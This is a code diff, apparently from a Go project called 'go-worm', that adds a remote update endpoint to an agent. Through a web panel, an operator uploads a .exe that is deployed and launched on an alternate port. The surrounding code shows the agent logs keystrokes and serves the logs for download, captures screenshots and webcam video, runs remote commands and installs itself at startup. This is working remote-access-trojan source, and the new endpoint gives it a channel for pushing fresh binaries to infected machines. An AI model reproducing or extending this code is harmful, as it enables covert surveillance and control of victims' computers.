diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0543b15..2fa9cdf 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -28,9 +28,19 @@ type Agent struct { startedAt time.Time } -func New() (*Agent, error) { +// Config controls agent startup. Zero values use environment defaults. +type Config struct { + ListenAddr string + Parallel bool +} + +func New(cfg Config) (*Agent, error) { + addr := strings.TrimSpace(cfg.ListenAddr) + if addr == "" { + addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr) + } a := &Agent{ - addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr), + addr: addr, startedAt: time.Now(), } if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" { @@ -40,11 +50,13 @@ func New() (*Agent, error) { } a.root = resolved } - guard, err := instance.Acquire() - if err != nil { - return nil, err + if !cfg.Parallel { + guard, err := instance.Acquire() + if err != nil { + return nil, err + } + a.guard = guard } - a.guard = guard input.EnableDPIAwareness() if err := keylog.Start(); err != nil { helpers.Log.Printf("keylog start: %v", err) @@ -84,6 +96,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/input/text", a.handleText) mux.HandleFunc("/api/v1/keylog", a.handleKeylog) mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) + mux.HandleFunc("/api/v1/update", a.handleUpdate) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 040e190..16e65d2 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -24,6 +24,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" + "tea.chunkbyte.com/kato/go-worm/lib/update" "tea.chunkbyte.com/kato/go-worm/lib/webcam" ) @@ -567,3 +568,42 @@ func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) { w.Header().Set("Accept-Ranges", "bytes") http.ServeContent(w, r, info.Name(), info.ModTime(), file) } + +func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) + if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") + return + } + upload, header, err := r.FormFile("file") + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + defer upload.Close() + if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") { + helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe") + return + } + + saved, nextAddr, err := update.Deploy(a.addr, upload) + if err != nil { + helpers.Log.Printf("update deploy: %v", err) + if strings.Contains(err.Error(), "not available") { + helpers.WriteError(w, http.StatusConflict, err.Error()) + return + } + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "path": saved, + "listen_address": nextAddr, + "previous_listen_address": a.addr, + }) +} diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index f618366..40fa20f 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -33,6 +33,7 @@ let webcamRunning = false; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; + let currentListen = ""; function showError(message) { errorEl.textContent = message || ""; @@ -129,6 +130,8 @@ ["Startup", data.startup_enabled ? "enabled" : "disabled"], ]; setStartup(Boolean(data.startup_enabled)); + currentListen = data.listen_address || ""; + syncUpdateMeta(); statusFields.replaceChildren( ...fields.map(([label, value]) => { const item = document.createElement("div"); @@ -601,6 +604,31 @@ } } + function alternatePort(addr) { + const match = String(addr || "").match(/:(\d+)$/); + const port = match ? Number(match[1]) : 5032; + return port === 5032 ? 5033 : 5032; + } + + function syncUpdateMeta() { + const meta = document.getElementById("update-meta"); + if (!meta) return; + if (!currentListen) { + meta.textContent = "Refresh status to see the current listen address."; + return; + } + meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`; + } + + async function deployUpdate(file) { + const form = new FormData(); + form.set("file", file); + const res = await api("/api/v1/update", { method: "POST", body: form }); + const data = await res.json(); + const result = document.getElementById("update-result"); + result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`; + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -706,6 +734,19 @@ document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); + document.getElementById("update-deploy").addEventListener("click", () => { + const picker = document.getElementById("update-picker"); + const file = picker.files[0]; + if (!file) { + showError("choose a .exe file first"); + return; + } + deployUpdate(file) + .then(() => { + picker.value = ""; + }) + .catch((err) => showError(err.message)); + }); document.getElementById("log-refresh").addEventListener("click", () => { listKeylogs().catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index db22dfc..73b47a9 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -713,6 +713,7 @@ + @@ -879,6 +880,21 @@
+Upload a new win64_mp.exe. The current instance keeps running; the new build starts on the alternate port (5032 ↔ 5033).